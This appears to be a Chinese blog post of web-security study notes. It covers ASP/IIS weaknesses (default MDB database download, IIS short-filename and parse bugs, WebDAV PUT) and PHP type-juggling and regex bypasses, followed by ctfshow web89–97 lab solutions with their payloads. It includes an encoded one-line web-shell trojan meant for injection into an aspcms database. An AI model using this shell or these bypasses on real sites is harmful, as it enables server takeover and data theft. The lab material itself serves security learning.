安全基础~web攻防特性1

最新推荐文章于 2024-10-16 11:02:39 发布
最新推荐文章于 2024-10-16 11:02:39 发布
阅读量1k 收藏 21
点赞数 22
分类专栏： 安全学习 文章标签： 安全 前端 android
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_63792137/article/details/135441515
版权

文章目录

知识补充

使用thinkphp开发的框架，其首页访问指向public目录，指向其中的index.php文件
step1
step2
指向的index.php打开网页后是如下情况，代码如下
定义应用目录，是将文件首页展示在上图的application目录下，其下有index.php文件

// 定义应用目录
define('APP_PATH', __DIR__ . '/../application/');
// 加载框架引导文件
require __DIR__ . '/../thinkphp/start.php';

step3
application目录index.php文件
step4
thinkphp框架首页访问的目录
step5
想要得到的目录与首页的关系
http://127.0.0.1:8088/index.php/index/index/index
index.php为应用入口的文件，接着为index目录，index类(模块)，index方法；

所以在一下目录创建另一个类，访问时，更换后面的方法即可。访问页面变为1index字符串
http://127.0.0.1:8088/index.php/index/index/ix
step6
http://127.0.0.1:8088/index.php/index/ceshi/test

test
HTTP 常见方法
文件路径的正斜杠（/）与反斜杠（\）

ASP安全

Microsoft Active Server Pages（ASP）是服务器端脚本编写环境。
主要包含：MDB下载植入&IIS短文件名&写权限&解析

环境搭建组合：windows iis  asp  access/sql server

主要包含ASP-数据库-MDB默认下载：access数据库一般后缀名mdb(下载)、asp 、asa （执行解析）
mdb文件在网站目录下，思路：如果知道数据库的地址，可尝试下载获取数据库文件，获取当前管理员账号密码信息。
默认下载：使用asp+access数据库，却不修改默认mdb地址。IIS不能解析MDB文件，当成普通文件下载。（文件服务器端不会解释，客户端浏览器也不会解释，所以就下载到本地。）
思路：位置地址：如果没有修改默认数据库文件位置可尝试默认数据库配置（即本地搭建后默认存放的数据库文件与其他文件位置（比如admin后台管理页面等），没修改。）或采用扫描

ASP-数据库-ASP后门植入连接：数据库是asp，asp可解析，向asp数据库文件写入一句话木马可以直接连上去，此时访问数据库文件将会被服务器当成代码文件执行，所以图片里面的代码就会被执行。
以aspcms为例:
aspcms主要是信息发布系统，数据库默认配置为asp，目录在/data/data.asp下。
漏洞成因：在留言板处对信息处理不当，导致代码注入。可直接将一句话木马插入数据库。
利用方法：保证默认数据库路径未更改且可留言。

┼攠數畣整爠煥敵瑳∨≡┩愾

ASP-中间件-IIS短文件名探针-安全漏洞：为兼容16位MS-DOS程序，Windows为文件名较长的文件（和文件夹）生成了对应的windows 8.3 短文件名。
在Windows下查看对应的短文件名，可以使用命令 dir /x
短文件名特征：

\1) 只有前六位字符直接显示，后续字符用~1指代。其中数字1还可以递增，如果存在多个文件名类似的文件（名称前6位必须相同，且后缀名前3位必须相同）。
\2) 后缀名最长只有3位，多余的被截断。
\3) 访问构造的某个存在的短文件名，会返回404
\4) 访问构造的某个不存在的短文件名，会返回400

ASP-中间件-IIS文件上传解析-安全漏洞：在 Windows 2003 IIS 6.0 下有两个漏洞，IIS 6.0并不是只根据文件的最后一个后缀名来判断文件的运行方式，这就引发了IIS目录解析漏洞和文件名解析漏洞。
目录解析：对于名字为**.asp后缀的文件夹**，IIS会将该文件夹内部的文件都解析为.asp文件来执行。即a.asp/1.jpg中的1.jpg会作为asp文件执行。
文件名解析：对于名字诸如a.asp;.jpg文件，IIS并非以最后一个后缀名来判断格式，故会将其解析为asp文件并执行。即如果上传木马的后缀为 .asp;.jpg 就可以被服务器执行。

ASP-中间件-IIS配置目录读写-安全配置：在web服务扩展中开启了WebDAV，配置了可以写入的权限，存在PUT任意文件写入漏洞。

web之ASP安全参考文章
小迪讲解参考
复现靶场应用：墨者_IIS写权限漏洞分析溯源

Aspx安全分析与未授权访问

未授权访问
判断用户的身份（后台有多个功能性的文件页面）：

  1. 在每个文件里添加验证的代码，通常为cookie
  2. 创建一个专门的文件用于判断，其它验证文件包含它

找未授权访问：

  1. 找那些没有包含验证代码的文件
  2. 判断验证代码是否有绕过的可能

.net是c#的框架，其源码反编译，课直接拖进ILSpy中。
aspx开发网站会存在信息泄露，在网站根目录下的web.config配置文件中customError设置，导致报错信息造成的信息泄露。

ASP.NET审计参考

php特性&web89~97

  • ==与===的区别：https://blog.csdn.net/qq_63792137/article/details/127594787
    弱=时，不比较类型，如==1时，1.0，+1，1a等都一样
    强=时，必须数据类型也一样
  • MD5 ==与===的比较
    若=用0e绕过，强=用数组绕过
  • intval缺陷绕过 int intval ( mixed $var [, int $base = 10 ] )
    php中intval函数 是用于获取变量的整数值，当后面的base为0时，可根据输入的进制数转为10进制。
    echo intval(4.2);                     // 4
echo intval('42');                    // 42
echo intval('+42');                   // 42
echo intval('-42');                   // -42
echo intval(042);                     // 34
echo intval('042');                   // 42
echo intval(1e10);                    // 10000000000
echo intval(1e10);                    // 10000000000
echo intval('1e10');                  // 10000000000
echo intval(0x1A);                    // 26
echo intval(42000000);                // 42000000
echo intval(420000000000000000000);   // 0
echo intval('420000000000000000000'); // 2147483647
echo intval(42, 8);                   // 42
echo intval('42', 8);                 // 34
echo intval(array());                 // 0
echo intval(array('foo', 'bar'));     // 1
  • strpos()函数，查找字符串在另一字符串中第一次出现的位置（区分大小写）
    eg
    可以利用换行进行绕过（%0a）url编码是回车换行，当返回的位置为0时，if判断也是false，所以输出的也是false。
  • in_array第三个参数安全
    bool in_array ( mixed $needle , array $haystack [, bool $strict = FALSE ] )搜索数组中是否存在指定的值。
    第三个参数为true时，检查搜索的数据与数组的值的类型是否相同。
    eg1eg2
    PHP代码审计04之strpos函数使用不当
  • preg_match：用于执行一个全局正则表达式匹配
    preg_match只能处理字符串，如果不按规定传一个字符串，通常是传一个数组进去，这样就会报错
    /i：不区分大小写
    /m：换行匹配
    eg
  • str_replace：其他字符替换字符串中的一些字符，开发中用于过滤某些字符串
    但是其仅仅只过滤一次，所以可以双写进行绕过
    eg

靶场练习ctfshow

web89:数组绕过

include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

pyload：?num[]=1

web90:强类型比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

pyload：?num=4476.0或0x117c

web91:/m换行匹配

show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}

pyload：?cmd=%0aphp

web92:弱类型比较

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

pyload：?num=4476.1abc

web93:弱类型，过滤字母

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

pyload：?num=4476.1或8进制绕过

web94:强类型，必须为整数，判断传入是否有0

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

pyload：?num=%20010574或用%0a绕过(20为空格)

web95:与上题一样，多过滤了一个“.”

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

pyload：?num=%20010574或用%0a绕过(20为空格)

web96:访问当前目录文件

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

pyload：?u=./flag.php

web97:MD5强=绕过

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}

pyload：a[]=1&b[]=s

`流年づ
关注
专栏目录
安全基础~web攻防特性2
2514804004的博客
01-20 1069
小迪安全之Javaweb安全与JS安全，涉及到有webgoat的部分闯关，以及js的修改等
安全基础~攻防特性3
2514804004的博客
01-20 728
小迪安全ssti模板注入漏洞
最新安全基础~攻防特性3
2401_84301352的博客
05-04 762
(Server-Side Template Injection) 服务端模板注入1、使用框架（MVC的模式），如python的flask，php的tp，java的spring等2、用户的输入先进入控制器，导致服务器模板中拼接了恶意用户输入导致各种漏洞3、根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断，数据库存取4、通过模板，Web应用可以把输入转换成特定的HTML文件或者email格式，并最后把结果返回给View视图层，展示给用户。
网络安全基础篇——攻防环境搭建
Z4400840的博客
05-06 1958
在数字化时代，网络安全已经成为每个企业和个人必须面对的挑战。攻防环境的搭建是提升网络安全意识和技能的重要手段。本文将带你深入了解攻防环境的概念，以及如何一步步搭建起你自己的攻防实验平台。，即一个模拟真实网络环境的实验平台，它可以用来进行安全测试、渗透测试和安全技能训练。通过攻防环境，我们可以在不触及真实系统的前提下，练习和掌握各种安全技能。配置靶机虚拟机的ip和网关。
安全基础~攻防特性3(1)，内含福利
m0_61418075的博客
04-09 845
1、使用框架（MVC的模式），如python的flask，php的tp，java的spring等2、用户的输入先进入控制器，导致服务器模板中拼接了恶意用户输入导致各种漏洞3、根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断，数据库存取4、通过模板，Web应用可以把输入转换成特定的HTML文件或者email格式，并最后把结果返回给View视图层，展示给用户。
Web安全攻防渗透测试实战指南笔记 三
Ren59421的博客
04-05 8084
第二章 2.1 在Linux系统中安装LANMP LANMP是Linux下Apache、Nginx、MySQL和PHP的应用环境，本节演示的是WDLinux的一款集成的安装包。 首先，下载需要的安装包，命令如下所示。 wegt http://dl.wdlinux.cn/files/lanmp_v3.tar.gz 下载完成后进行解压，解压文件的命令为tar zxvf lanmp_v3.tar.gz，运行环境如下图所示。 输入sh lanmp.sh命令运行LANMP，这时程...
网络安全攻防笔记-基础1、2
weixin_65961439的博客
06-13 1486
前后端分离 原理：前端JS框架，API传输数据 影响： 1、前端页面大部分不存在漏洞（页面简单，观察页面简洁程度就可分析出来） 2、后端管理大部分不在同域名 3、获得权限有可能不影响后端（因为有可能同一个域名，一个是子域名）#建站分配站 1.托管 2.申请（） 原理：利用别人域名模版建立 影响：实质安全测试非目标资产（网站是在别的平台申请，攻击的是别人的平台）#站库分离： 原理：源码数据库不在同服务器 存储：其他服务器上数据库&云数据库产品 影响：数据被单独存放，能连接才可影响数据。
《Web安全攻防》学习笔记
qq_45944626的博客
02-16 2393
收集子域名信息 子域名也是二级域名，，是指顶级域名下的域名。一般主域名都是重点防护区域，所以可以尝试接近子域名，然后想办法接近真正的目标。 证书透明度（CT）是指证书授权机构（CA）的一个项目，证书授权机构会将每个SSL/TLS证书发布到公共日志中。重点来了，一个SSL/TLS整数通常会包含域名、子域名和邮件地址，所以也可以通过这种方法来获取有用的信息。 CMS（Content Manag...
Web安全渗透测试 掌握绝大多数Web漏洞原理及攻防手段｜完结
Z4400840的博客
05-22 1441
Web安全渗透测试是当今网络安全领域的重要技术之一，它通过对Web应用程序进行深入的调查和分析，发现并解决潜在的安全漏洞。在Web安全渗透测试中，掌握绝大多数Web漏洞原理及攻防手段是非常重要的。
CF复习.pdf_vulnerability_网络安全攻防基础知识总结_
10-03
《网络安全攻防基础知识总结》 在当今信息化社会，网络安全已成为我们日常生活的重要组成部分。这份资料《CF复习.pdf_vulnerability_网络安全攻防基础知识总结_》详细梳理了网络安全的基础知识，为学习者提供了全面...
Web安全深度探索：从基础到攻防实践
这篇Web安全学习笔记涵盖了广泛的主题，旨在帮助读者理解并掌握Web安全的基础知识以及防范措施。笔记分为多个章节，详细讲解了从网络基础到高级安全概念的不同方面。 1. 序章： - Web技术的发展历程概述，包括Web...
Web应用安全攻防
AI天才研究院
08-03 1187
随着互联网的普及和应用的日益扩张，网络应用越来越成为各行各业中普遍存在的现象。作为互联网世界的重要组成部分，网络安全在对抗各种攻击、防御方面发挥了越来越重要的作用。而对于网络应用的安全管理和维护，更是成为各类安全人员的必备技能。在互联网应用安全领域，许多著名的黑客组织、安全公司都提供了大量的学习资料、工具和课程。然而，为了更好地掌握这些知识、工具和方法，我们应该更加关注其背后的原理、算法和技术，为我们的工作提供一个系统的、全面的和有效的解决方案。
Web安全深度解析：攻防技术与实践
这部分内容是理解Web安全基础的关键。 信息收集章节讨论了如何获取网络入口信息、域名信息、端口信息、站点信息，以及如何利用搜索引擎和社会工程学进行信息搜集，这些都是安全分析和渗透测试的前期准备。 常见...
Spring Boot视频网站：安全与可扩展性设计
最新发布
2401_85702623的博客
10-16 588
本次程序开发选用的数据库管理工具是MySQL数据管理工具，使用它存放数据也需要创建程序对应的数据库文件，并命名刚创建的数据库文件，有了数据库也需要创建各种数据表来充实数据库，在数据表的创建中，不仅需要对数据表命名，也需要对数据表的字段进行设计，包括每个数据表里面需要设置的字段名称，字段对应的数据类型信息，字段的主键设置这个也是不可缺少的，因为每个数据表里面的主键就是标记着这个数据表跟其他数据表相区分的唯一标志。addtime timestamp 否 CURRENT_TIMESTAMP 创建时间。
CTFHUB技能树之HTTP协议——响应包源代码
weixin_73049307的博客
10-13 275
点击“开始”没有抓取到报文，先看看网页源代码是什么情况。居然直接给出flag了，不知道这题的意义何在。是个贪吃蛇小游戏，看不出来有什么特别的地方。
Gin框架操作指南08：日志与安全
技术卷的博客
10-16 460
本节演示日志与安全相关的API，包括定义路由日志的格式；如何记录日志；安全页眉；使用BasicAuth中间件；使用HTTP方法。
【WEB应用安全测试指南–蓝队安全测试2】--超详细-可直接进行实战！！！亲测-可进行安全及渗透测试
Dreams°的博客
10-10 2077
任意文件下载漏洞不同于网站目录浏览，此漏洞不仅仅可遍历系统下 web中的文件，而且可以浏览或者下载到系统中的文件，攻击人员通过任意文件下载漏洞可以获取系统文件及服务器的配置文件等等。一般来说，他们利用服务器 API、文件标准权限进行攻击。严格来说，任意文件下载漏洞并不是一种 web漏洞，而是网站设计人员的设计“漏洞”
[漏洞挖掘与防护] 04.Windows系统安全缺陷之5次Shift漏洞启动计算机机理分析
杨秀璋的专栏
10-16 35
上一篇文章详细介绍了WinRAR漏洞（CVE-2018-20250），并复现了该漏洞和讲解了恶意软件自启动劫持原理。这篇文章将分享Windows系统漏洞，通过5次Shift漏洞重改CMD，最终实现修改计算机密码并启动计算机，其思路还是比较有趣的，希望对您有所帮助！基础性文章，希望对入门的同学有帮助。
自动驾驶系列—自动驾驶系统监控平台：保障无人驾驶安全的幕后英雄
u013889591的专栏
10-16 657
随着自动驾驶技术的发展，车辆不再依赖人类驾驶员操作，而是通过感知、决策和控制系统来实现自动驾驶。这一复杂的技术体系需要高度的实时监控，以确保车辆能够在各种环境中稳定、安全地运行。因此，自动驾驶系统监控平台成为了保障自动驾驶系统安全与稳定运行的关键工具。自动驾驶系统监控平台的作用是实时收集并分析车辆运行过程中各类传感器和系统的状态数据，及时发现异常或潜在风险，提供预警并采取相应的措施，确保整个自动驾驶系统的安全运行。自动驾驶系统监控平台为确保无人驾驶车辆的安全与稳定提供了强有力的支持。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值